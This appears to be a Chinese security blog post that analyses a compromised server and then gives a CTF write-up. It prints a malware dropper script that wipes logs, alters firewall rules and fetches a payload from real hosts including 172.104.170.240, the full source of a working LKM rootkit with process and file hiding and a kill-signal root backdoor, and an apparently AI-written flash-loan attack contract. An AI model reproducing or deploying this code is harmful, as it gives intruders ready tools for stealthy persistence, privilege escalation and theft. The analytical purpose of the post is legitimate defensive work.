    addr = _ENV_ARENA_BASE + _ENV_ARENA_NEXT
    _ENV_ARENA_NEXT += size
    return addr


init(autoreset=True)
def ql_hook_execvp(ql):
    params = ql.os.resolve_fcall_params({'file': STRING, 'argv': POINTER})
    print(f"{Fore.CYAN}[*] execvp{Style.RESET_ALL}('{Fore.YELLOW}{params['file']}{Style.RESET_ALL}'", end="")
    argv_ptr = params["argv"]

    if argv_ptr:
        i = 0
        while True:
            arg_ptr = ql.mem.read_ptr(argv_ptr + i * ql.arch.pointersize)
            if arg_ptr == 0:
                break
            arg_str = ql.os.utils.read_cstring(arg_ptr)
            print(f", {Fore.GREEN}\"{arg_str}\"{Style.RESET_ALL}", end="")
            i += 1
        print(")")
    return 0
def ql_hook_getenv(ql):
    params = ql.os.resolve_fcall_params({'name': STRING})
    name = params['name']
    print(f"{Fore.YELLOW}[*] getenv('{name}'){Style.RESET_ALL}")
    ql.arch.regs.rax = 0 # return 0

    if name in env:
        value = env[name]
        value_bytes = value.encode() + b'\x00'
        cached = env_storage.get(name)
        if cached and len(value_bytes) <= cached[1]:
            cstr_addr = cached[0]
        else:
            cstr_addr = _env_alloc(ql, len(value_bytes))
            env_storage[name] = (cstr_addr, len(value_bytes))
        ql.mem.write(cstr_addr, value_bytes)
        ql.arch.regs.rax = cstr_addr
        print(f" -> '{value}'")
    else:
        ql.arch.regs.rax = 0
        print(" -> NULL")

def ql_hook_putenv(ql):
    params = ql.os.resolve_fcall_params({'name': STRING})
    name = params['name']
    print(f"{Fore.YELLOW}[*] putenv('{name}'){Style.RESET_ALL}", end="")
    ql.arch.regs.rax = 0 # return 0




ql = Qiling(
    [binary_path, "-c", f"exec '{binary_path}' \"$@\"", binary_path],
    rootfs,
    archtype=QL_ARCH.X8664,
    ostype=QL_OS.LINUX,
    verbose=QL_VERBOSE.OFF,
)
env = {"x286b700fc2c16ba1": "2912544797019433889 4"}

ql.os.set_api("execvp", ql_hook_execvp)
ql.os.set_api("getenv", ql_hook_getenv)
ql.os.set_api("putenv", ql_hook_putenv)
ql.run()

后面搜索之后发现这玩意是shc编译的。

于是搓了个妙妙脚本，适配了所有的shc版本，只要glibc版本是对的就能用（？

可以extract出来脚本，这里分开写，不然没高亮了。

rm -rf /var/www/html/config.json
rm -rf /root/.xmrig.json
rm -rf /root/.config/xmrig.json
rm -rf /var/log/messages*
rm -rf /var/log/secure*
rm -rf /var/log/auth.log*
rm -rf /var/log/syslog*
# 删除操作痕迹
echo "fs.file-max = 2097152" > /etc/sysctl.conf
sysctl -p
ulimit -SHn 1024000
# 修改系统限制（文件系统描述符数量）
mv /usr/sbin/tokens /usr/sbin/iptables 2>/dev/null 1>/dev/null&
mv /sbin/tokens /sbin/iptables 2>/dev/null 1>/dev/null&
sleep 1
# 看不懂？
iptables -L INPUT -v -n | grep 138.68 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 67.207 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 46.101 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 157.245 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 146.190 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 144.126 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 167.172 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 172.104 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 172.105 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
# 丢掉系统中部分关于特定ip的防火墙规则
mv /usr/sbin/iptables /usr/sbin/tokens 2>/dev/null 1>/dev/null&
mv /sbin/iptables /sbin/tokens 2>/dev/null 1>/dev/null&
# 还是不懂，和刚刚那段一样
hhide=$1
if [ -z "$1" ]; then
  hhide="ad12e85f"
else
  hhide="$1"
fi

然后做了一个文件：

#include <linux/sched.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/version.h>

#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 13, 0)
#include <asm/uaccess.h>
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)
#include <linux/proc_ns.h>
#else
#include <linux/proc_fs.h>
#endif

#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 26)
#include <linux/file.h>
#else
#include <linux/fdtable.h>
#endif

#if LINUX_VERSION_CODE <= KERNEL_VERSION(2, 6, 18)
#include <linux/unistd.h>
#endif

#ifndef __NR_getdents
#define __NR_getdents 141
#endif

#include "iptable_reject.h"

#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
unsigned long cr0;
#elif IS_ENABLED(CONFIG_ARM64)
void (*update_mapping_prot)(phys_addr_t phys, unsigned long virt, phys_addr_t size, pgprot_t prot);
unsigned long start_rodata;
unsigned long init_begin;
#define section_size init_begin - start_rodata
#endif
static unsigned long *__sys_call_table;
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        typedef asmlinkage long (*t_syscall)(const struct pt_regs *);
        static t_syscall orig_getdents;
        static t_syscall orig_getdents64;
        static t_syscall orig_kill;
#else
        typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *,
                unsigned int);
        typedef asmlinkage int (*orig_getdents64_t)(unsigned int,
                struct linux_dirent64 *, unsigned int);
        typedef asmlinkage int (*orig_kill_t)(pid_t, int);
        orig_getdents_t orig_getdents;
        orig_getdents64_t orig_getdents64;
        orig_kill_t orig_kill;
#endif

unsigned long *
get_syscall_table_bf(void)
{
        unsigned long *syscall_table;

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 4, 0)
#ifdef KPROBE_LOOKUP
        typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
        kallsyms_lookup_name_t kallsyms_lookup_name;
        register_kprobe(&kp);
        kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
        unregister_kprobe(&kp);
#endif
        syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
        return syscall_table;
#else
        unsigned long int i;

        for (i = (unsigned long int)sys_close; i < ULONG_MAX;
                        i += sizeof(void *)) {
                syscall_table = (unsigned long *)i;

                if (syscall_table[__NR_close] == (unsigned long)sys_close)
                        return syscall_table;
        }
        return NULL;
#endif
}

struct task_struct *
find_task(pid_t pid)
{
        struct task_struct *p = current;
        for_each_process(p) {
                if (p->pid == pid)
                        return p;
        }
        return NULL;
}

int
is_invisible(pid_t pid)
{
        struct task_struct *task;
        if (!pid)
                return 0;
        task = find_task(pid);
        if (!task)
                return 0;
        if (task->flags & PF_INVISIBLE)
                return 1;
        return 0;
}

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) {
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        int fd = (int) pt_regs->di;
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64)
        int fd = (int) pt_regs->regs[0];
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];
#endif
        int ret = orig_getdents64(pt_regs), err;
#else
asmlinkage int
hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent,
        unsigned int count)
{
        int ret = orig_getdents64(fd, dirent, count), err;
#endif
        unsigned short proc = 0;
        unsigned long off = 0;
        struct linux_dirent64 *dir, *kdirent, *prev = NULL;
        struct inode *d_inode;

        if (ret <= 0)
                return ret;

        kdirent = kzalloc(ret, GFP_KERNEL);
        if (kdirent == NULL)
                return ret;

        err = copy_from_user(kdirent, dirent, ret);
        if (err)
                goto out;

#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
        d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
        d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif
        if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
                /*&& MINOR(d_inode->i_rdev) == 1*/)
                proc = 1;

        while (off < ret) {
                dir = (void *)kdirent + off;
                if ((!proc &&
                (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
                || (proc &&
                is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
                        if (dir == kdirent) {
                                ret -= dir->d_reclen;
                                memmove(dir, (void *)dir + dir->d_reclen, ret);
                                continue;
                        }
                        prev->d_reclen += dir->d_reclen;
                } else
                        prev = dir;
                off += dir->d_reclen;
        }
        err = copy_to_user(dirent, kdirent, ret);
        if (err)
                goto out;
out:
        kfree(kdirent);
        return ret;
}

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static asmlinkage long hacked_getdents(const struct pt_regs *pt_regs) {
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        int fd = (int) pt_regs->di;
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64)
                int fd = (int) pt_regs->regs[0];
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];
#endif
        int ret = orig_getdents(pt_regs), err;
#else
asmlinkage int
hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent,
        unsigned int count)
{
        int ret = orig_getdents(fd, dirent, count), err;
#endif
        unsigned short proc = 0;
        unsigned long off = 0;
        struct linux_dirent *dir, *kdirent, *prev = NULL;
        struct inode *d_inode;

        if (ret <= 0)
                return ret;

        kdirent = kzalloc(ret, GFP_KERNEL);
        if (kdirent == NULL)
                return ret;

        err = copy_from_user(kdirent, dirent, ret);
        if (err)
                goto out;

#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
        d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
        d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif

        if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
                /*&& MINOR(d_inode->i_rdev) == 1*/)
                proc = 1;

        while (off < ret) {
                dir = (void *)kdirent + off;
                if ((!proc &&
                (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
                || (proc &&
                is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
                        if (dir == kdirent) {
                                ret -= dir->d_reclen;
                                memmove(dir, (void *)dir + dir->d_reclen, ret);
                                continue;
                        }
                        prev->d_reclen += dir->d_reclen;
                } else
                        prev = dir;
                off += dir->d_reclen;
        }
        err = copy_to_user(dirent, kdirent, ret);
        if (err)
                goto out;
out:
        kfree(kdirent);
        return ret;
}

void
give_root(void)
{
        #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
                current->uid = current->gid = 0;
                current->euid = current->egid = 0;
                current->suid = current->sgid = 0;
                current->fsuid = current->fsgid = 0;
        #else
                struct cred *newcreds;
                newcreds = prepare_creds();
                if (newcreds == NULL)
                        return;
                #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0)                         && defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS)                         || LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
                        newcreds->uid.val = newcreds->gid.val = 0;
                        newcreds->euid.val = newcreds->egid.val = 0;
                        newcreds->suid.val = newcreds->sgid.val = 0;
                        newcreds->fsuid.val = newcreds->fsgid.val = 0;
                #else
                        newcreds->uid = newcreds->gid = 0;
                        newcreds->euid = newcreds->egid = 0;
                        newcreds->suid = newcreds->sgid = 0;
                        newcreds->fsuid = newcreds->fsgid = 0;
                #endif
                commit_creds(newcreds);
        #endif
}

static inline void
tidy(void)
{
        kfree(THIS_MODULE->sect_attrs);
        THIS_MODULE->sect_attrs = NULL;
}

static struct list_head *module_previous;
static short module_hidden = 0;
void
module_show(void)
{
        list_add(&THIS_MODULE->list, module_previous);
        module_hidden = 0;
}

void
module_hide(void)
{
        module_previous = THIS_MODULE->list.prev;
        list_del(&THIS_MODULE->list);
        module_hidden = 1;
}

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
asmlinkage int
hacked_kill(const struct pt_regs *pt_regs)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        pid_t pid = (pid_t) pt_regs->di;
        int sig = (int) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64)
        pid_t pid = (pid_t) pt_regs->regs[0];
        int sig = (int) pt_regs->regs[1];
#endif
#else
asmlinkage int
hacked_kill(pid_t pid, int sig)
{
#endif
        struct task_struct *task;
        switch (sig) {
                case SIGINVIS:
                        if ((task = find_task(pid)) == NULL)
                                return -ESRCH;
                        task->flags ^= PF_INVISIBLE;
                        break;
                case SIGSUPER:
                        give_root();
                        break;
                case SIGMODINVIS:
                        if (module_hidden) module_show();
                        else module_hide();
                        break;
                default:
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
                        return orig_kill(pt_regs);
#else
                        return orig_kill(pid, sig);
#endif
        }
        return 0;
}

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static inline void
write_cr0_forced(unsigned long val)
{
        unsigned long __force_order;

        asm volatile(
                "mov %0, %%cr0"
                : "+r"(val), "+m"(__force_order));
}
#endif

static inline void
protect_memory(void)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        write_cr0_forced(cr0);
#else
        write_cr0(cr0);
#endif
#elif IS_ENABLED(CONFIG_ARM64)
        update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
                        section_size, PAGE_KERNEL_RO);

#endif
}

static inline void
unprotect_memory(void)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        write_cr0_forced(cr0 & ~0x00010000);
#else
        write_cr0(cr0 & ~0x00010000);
#endif
#elif IS_ENABLED(CONFIG_ARM64)
        update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
                        section_size, PAGE_KERNEL);
#endif
}

static int __init
iptable_reject_init(void)
{
        __sys_call_table = get_syscall_table_bf();
        if (!__sys_call_table)
                return -1;

#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        cr0 = read_cr0();
#elif IS_ENABLED(CONFIG_ARM64)
        update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot");
        start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata");
        init_begin = (unsigned long)kallsyms_lookup_name("__init_begin");
#endif

        module_hide();
        tidy();

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];
        orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
        orig_kill = (t_syscall)__sys_call_table[__NR_kill];
#else
        orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
        orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
        orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];
#endif

        unprotect_memory();

        __sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
        __sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;
        __sys_call_table[__NR_kill] = (unsigned long) hacked_kill;

        protect_memory();

        return 0;
}

static void __exit
iptable_reject_cleanup(void)
{
        unprotect_memory();

        __sys_call_table[__NR_getdents] = (unsigned long) orig_getdents;
        __sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64;
        __sys_call_table[__NR_kill] = (unsigned long) orig_kill;

        protect_memory();
}

module_init(iptable_reject_init);
module_exit(iptable_reject_cleanup);

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("m0nad");
MODULE_DESCRIPTION("LKM rootkit");

struct linux_dirent {
        unsigned long   d_ino;
        unsigned long   d_off;
        unsigned short  d_reclen;
        char            d_name[1];
};

#define MAGIC_PREFIX ""

#define PF_INVISIBLE 0x10000000

#define MODULE_NAME "iptable_reject"

enum {
        SIGINVIS = 41,
        SIGSUPER = 54,
        SIGMODINVIS = 53,
};

#ifndef IS_ENABLED
#define IS_ENABLED(option) (defined(__enabled_ ## option) || defined(__enabled_ ## option ## _MODULE))
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
#define KPROBE_LOOKUP 1
#include <linux/kprobes.h>
static struct kprobe kp = {
            .symbol_name = "kallsyms_lookup_name"
};
#endif

obj-m := iptable_reject.o
CC = gcc -Wall
KDIR := /lib/modules/25.0.0/build
PWD := /tmp/a

并且尝试把这个内核扩展编译后加载进系统。

不太懂，请G老师来讲把！

💡

这是一个典型的 LKM rootkit（内核模块后门），通过劫持 getdents / getdents64 隐藏文件/目录和进程、劫持 kill 添加自定义信号来切换“隐身”/提权/模块隐藏，并通过修改 sys_call_table 实现这些功能；同时包含多内核版本兼容分支和 x86/arm64 的内存写保护处理。

下面我把代码按功能模块拆解说明、指出风险/缺陷、给出检测与处置建议，以及若你要改进/审计作者可做的要点。

代码结构与关键函数（逐块解释）

1) 入口 / 退出

• module_init(iptable_reject_init) / module_exit(iptable_reject_cleanup)：模块加载时查找 sys_call_table、保存原始系统调用指针、修改内存写保护、替换 getdents/getdents64/kill 为自定义实现；卸载时恢复原始表并恢复保护。

2) 查找系统调用表

• get_syscall_table_bf()：
• 若内核支持 kallsyms_lookup_name（通过 KPROBE_LOOKUP + kprobe），直接查找 "sys_call_table"。
• 否则使用暴力遍历法（从 sys_close 的地址开始逐页扫描，检测 __NR_close 指向 sys_close）——经典但危险的技巧（误报、性能与稳定性问题）。
• 注：代码里有 register_kprobe(&kp); kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; unregister_kprobe(&kp); ——但当前片段中 kp 未见定义，实际编译可能需要补全。

3) 内存写保护处理（x86 / arm64）

• x86/x86_64：
• 保存 cr0，通过 write_cr0/write_cr0_forced 清写保护位写回 sys_call_table，操作结束后再恢复 cr0。
• arm64：
• 通过 kallsyms_lookup_name("update_mapping_prot") 获取函数指针并调用以修改 .rodata/只读区页属性。
• 目的：临时去掉内核页写保护以覆盖 sys_call_table。

4) 隐藏模块（module_hide/module_show）

• module_hide()：保存 THIS_MODULE->list.prev，从模块链表中 list_del(&THIS_MODULE->list)，将模块从 /proc/modules 和模块链表中移除。
• module_show()：把模块重新 list_add 到之前保存的位置。
• 风险：如果模块链表修改或顺序被改变，module_show() 恢复可能失败或插入到错误位置。

5) 提权与清理

• give_root()：使用 prepare_creds() / 修改 newcreds 的 UID/GID/EUID 等为 0 / commit_creds() 提权当前进程。
• 分内核版本分支，为不同内核 API 兼容做适配。
• tidy()：kfree(THIS_MODULE->sect_attrs) 并把指针置 NULL（清除模块属性以减少可见性？）。

6) 进程/隐藏逻辑

• find_task(pid_t pid)：遍历进程链表（for_each_process）查找目标 task_struct。
• is_invisible(pid_t pid)：检测目标进程 task->flags & PF_INVISIBLE 是否被设置。
• PF_INVISIBLE 并非内核标准常见标志（这是 rootkit 定义的自有位或利用未使用位），修改 task->flags 来标记隐身。
• hacked_getdents / hacked_getdents64：
• 调用原始 getdents/getdents64 得到结果长度 ret，分配内核缓冲 kdirent，从用户空间 copy_from_user 整块拷贝目录项，遍历目录项：
• 如果是普通目录且文件名以 MAGIC_PREFIX（来自 iptable_reject.h）开头 -> 隐藏。
• 如果是 /proc 根目录（通过 d_inode->i_ino == PROC_ROOT_INO 检测）且 is_invisible(atoi(d_name)) 返回真 -> 隐藏对应 pid 条目。
• 隐藏实现通过调整前一项 d_reclen 或 memmove 把条目从缓冲中删除。
• 最后 copy_to_user 回写并 kfree。
• 注意：对用户缓冲的假设（size = ret）可能与用户传入 count 或 struct linux_dirent 大小有关，兼容性敏感。
• hacked_kill：
• 解析 kill(pid, sig)（或 pt_regs 版本）：
• 特定自定义信号 SIGINVIS：切换目标进程的 PF_INVISIBLE（隐身开关）。
• SIGSUPER：调用 give_root() 给发送该信号的进程提权（或给目标进程？代码对 pid 的使用需看调用，通常为目标 pid）。
• SIGMODINVIS：切换模块隐藏（module_hidden 标志）。
• 其它信号委托给原始 kill。
• 由此，攻击者可以用 kill -<magic> <pid> 来控制 rootkit 行为。

整体目的与能力（总结）

• 隐藏文件/目录（通过前缀 MAGIC_PREFIX）；
• 隐藏 /proc/<pid> 中的某些进程（通过 PF_INVISIBLE 标志）；
• 通过特定 kill 信号对进程施加“隐身切换”、提升权限（give_root）、模块隐藏/显示；
• 隐藏模块自身（从模块链表中移除）；
• 兼容多内核版本与多架构（x86/x86_64/ARM64）的实现分支。

简言之：一个完全的 rootkit 功能集合（隐藏 + 后门提权 + 控制通道）。

于是这个恶意软件在内核中添加了很多提权功能和通道。

接着看

DIR3="/etc/$hhide"
if [ -d "$DIR3" ]; then
  echo "folder  ok"
else
  mkdir "$DIR3"
fi
EXE=`echo $RANDOM | md5sum | head -c 8` # 随机process！ 
PID=`cat /tmp/.X0_locks` # 已经启动的进程
mama=$2 # 代理
if [ -e "/proc/$PID/status" ]; then
  echo "process exists" # 存在了，直接退出？
else
if [ -z "$2" ]; then # 没有proxy，也退出。
  echo "No Prx"
else
  if grep -q "localhost00" "/etc/hosts"; then # localhost00 添加
    echo "H exists"
  else
    if [ `wc -l < /etc/hosts` -lt 3 ]; then
      echo "$mama localhost00" >> /etc/hosts # localhost00 -> localhost
    else
      sed -i "3i $mama localhost00" /etc/hosts
    fi
  fi
fi
  echo "process not exists"
  FILE1="/etc/$hhide/iptable_reject"
  if [ -f "$FILE1" ]; then
      echo "PI exists."
  else # 下载解压
      echo "PI does not exist."
      curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://example.established.site/pn.zip
    FILE="/tmp/pn.zip"
    FILESIZE=$(stat -c%s "$FILE")
    if (( FILESIZE > "1000000")); then 
        echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        wget --timeout=5 --tries=2 http://example.established.site/pn.zip -q -O /tmp/pn.zip
    fi
    if (( FILESIZE > "1000000")); then 
        echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":1081 http://example.established.site/pn.zip
    fi
    if (( FILESIZE > "1000000")); then 
        echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        wget --timeout=5 --tries=2 http://w.amax.fun/pn.zip -q -O /tmp/pn.zip
    fi
    if (( FILESIZE > "1000000")); then 
      echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://172.104.170.240/pn.zip
    fi
    if (( FILESIZE > "1000000")); then 
        echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        wget --timeout=50 --tries=2 http://172.104.170.240/pn.zip -q -O /tmp/pn.zip
    fi
    cd /tmp/
    unzip -qq -o pn.zip
    rm -rf pn.zip
    mv iptable_reject "$FILE1"
  fi
  # 准备运行
  FILE2="/$EXE"
  if [ -f "$FILE2" ]; then
      echo "MD exists."
  else
      echo "MD does not exist."
      cp "$FILE1" /"$EXE"
  fi
  /"$EXE" 2>/dev/null 1>/dev/null&
  sleep 2
  pidof "$EXE" > /tmp/.X0_locks # 存放pid
  rm -rf /"$EXE"
  kill -53 10000000 # 提权
  if grep -q "iptable_reject" "/proc/modules"; then
    echo "M exists"
    kill -41 `cat /tmp/.X0_locks` # 提权
    kill -53 10000000
  else
    echo "M not exists"
    module_install
    kill -53 10000000
  if grep -q "iptable_reject" "/proc/modules"; then
    echo "M exists"
    kill -41 `cat /tmp/.X0_locks`
    kill -53 10000000
  else
    echo "M not installed check errors 2"
  fi
  fi
fi
sudo journalctl --vacuum-time=1s

嗯于是下一步是拿到他的pn.zip，同样我们也找到了——sha256sum是：751227400b52c41bbaecea83dc97182c10da158e22d0168f237c9b6c3be8e0d8 。这个可以找到相关的分析，这里就不做了。

比赛前几天就到这附近了（江浙沪就是附近！），去参加了下GEEKCON 2025。看了些DARKNAVY做的比较有意思的安全披露和挑战，印象比较深的有Web3钱包的攻击之类的。但是不给底层原理的这个会议其实没有那么有趣。（当然如果给底层原理也就不会有下面这条了）

Day 1

这场比赛算是，对于AI感知最大的一场了…?

Misc - Warp Finance

比较简单（？的闪电贷套利。今年初的VNCTF 2025才出过一个类似的，同样ethernaut也有类似的题目。打开claude code试一试，结果它还真给出了一个能用的脚本。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/Setup.sol";
import "./Attacker.sol";
import "./SimpleAttacker.sol";

contract SolveScript is Script {
    Setup public setup;
    Attacker public attacker;
    SimpleAttacker public simpleAttacker;
    
    function run() external {
        // Setup the environment
        vm.startBroadcast();
        
        // Deploy Setup contract
        setup = Setup(0x41b819454066A782d933b66FB128A2962E842649);
        // setup = new Setup();
        console.log("Setup deployed at:", address(setup));
        
        // Deploy Simple Attacker contract  
        simpleAttacker = new SimpleAttacker(address(setup));
        console.log("SimpleAttacker deployed at:", address(simpleAttacker));
        
        // Log initial state
        console.log("=== Initial State ===");
        console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));
        console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));
        console.log("Flash minter balance:", setup.stableToken().balanceOf(address(setup.flashMinter())));
        console.log("Is solved before attack:", setup.isSolved());
        
        // Get DEX reserves before attack
        (uint112 reserve0Before, uint112 reserve1Before) = setup.dex().getReserves();
        console.log("DEX reserves before - Collateral:", reserve0Before, "Stable:", reserve1Before);
        
        // Execute the attack
        console.log("\n=== Executing Attack ===");
        simpleAttacker.attack();
        
        // Check balances after attack
        console.log("\n=== Post-Attack State ===");
        console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));
        console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));
        console.log("SimpleAttacker stable balance:", setup.stableToken().balanceOf(address(simpleAttacker)));
        
        // Get DEX reserves after attack
        (uint112 reserve0After, uint112 reserve1After) = setup.dex().getReserves();
        console.log("DEX reserves after - Collateral:", reserve0After, "Stable:", reserve1After);
        
        // Check if solved
        console.log("Is solved after attack:", setup.isSolved());
        
        // Verify target conditions
        uint256 poolBalance = setup.stableToken().balanceOf(address(setup.pool()));
        uint256 playerBalance = setup.stableToken().balanceOf(msg.sender);
        
        console.log("\n=== Target Verification ===");
        console.log("Target pool balance:", setup.TARGET_POOL_BALANCE());
        console.log("Actual pool balance:", poolBalance);
        console.log("Target player balance:", setup.TARGET_PLAYER_BALANCE());
        console.log("Actual player balance:", playerBalance);
        
        bool poolCondition = poolBalance <= setup.TARGET_POOL_BALANCE();
        bool playerCondition = playerBalance >= setup.TARGET_PLAYER_BALANCE();
        
        console.log("Pool condition met:", poolCondition);
        console.log("Player condition met:", playerCondition);
        console.log("Challenge solved:", poolCondition && playerCondition);
        
        vm.stopBroadcast();
    }
    
    // Alternative function to run attack on existing setup
    function runWithExistingSetup(address setupAddress) external {
        vm.startBroadcast();
        
        setup = Setup(setupAddress);
        console.log("Using existing Setup at:", setupAddress);
        
        // Deploy SimpleAttacker contract
        simpleAttacker = new SimpleAttacker(setupAddress);
        console.log("SimpleAttacker deployed at:", address(simpleAttacker));
        
        // Log initial state
        console.log("=== Initial State ===");
        console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));
        console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));
        console.log("Is solved before attack:", setup.isSolved());
        
        // Execute the attack
        console.log("\n=== Executing Attack ===");
        simpleAttacker.attack();
        
        // Check final state
        console.log("\n=== Final State ===");
        console.log("Pool stable balance:", setup.stableToken().balanceOf(address(setup.pool())));
        console.log("Player stable balance:", setup.stableToken().balanceOf(msg.sender));
        console.log("Is solved:", setup.isSolved());
        
        vm.stopBroadcast();
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

import "../src/Setup.sol";
import "../src/core/WarpDexPair.sol";
import "../src/core/WarpLendingPool.sol";
import "../src/utils/StableFlashMinter.sol";
import "../src/tokens/MockERC20.sol";

contract SimpleAttacker {
    Setup public setup;
    MockERC20 public collateralToken;
    MockERC20 public stableToken;
    WarpDexPair public dex;
    WarpLendingPool public pool;
    StableFlashMinter public flashMinter;
    
    address public owner;
    
    constructor(address _setup) {
        setup = Setup(_setup);
        collateralToken = setup.collateralToken();
        stableToken = setup.stableToken();
        dex = setup.dex();
        pool = setup.pool();
        flashMinter = setup.flashMinter();
        owner = msg.sender;
    }
    
    function attack() external {
        require(msg.sender == owner, "Only owner can attack");
        
        // Claim initial tokens first
        setup.claim();
        
        // Execute multiple flash loans to extract maximum value
        for (uint256 i = 0; i < 5; i++) {
            uint256 available = stableToken.balanceOf(address(flashMinter));
            if (available > 1 ether) {
                bytes memory data = abi.encode(i);
                flashMinter.flashBorrow(available, data);
            } else {
                break;
            }
        }
        
        // Final cleanup: withdraw any remaining collateral
        _finalCleanup();
    }
    
    function onFlashLoan(uint256 amount, uint256 fee, bytes calldata data) external {
        require(msg.sender == address(flashMinter), "Only flash minter can call");
        
        uint256 round = abi.decode(data, (uint256));
        
        // Calculate repayment amount
        uint256 repayAmount = amount + fee;
        
        if (round == 0) {
            // First round: major price manipulation and pool draining
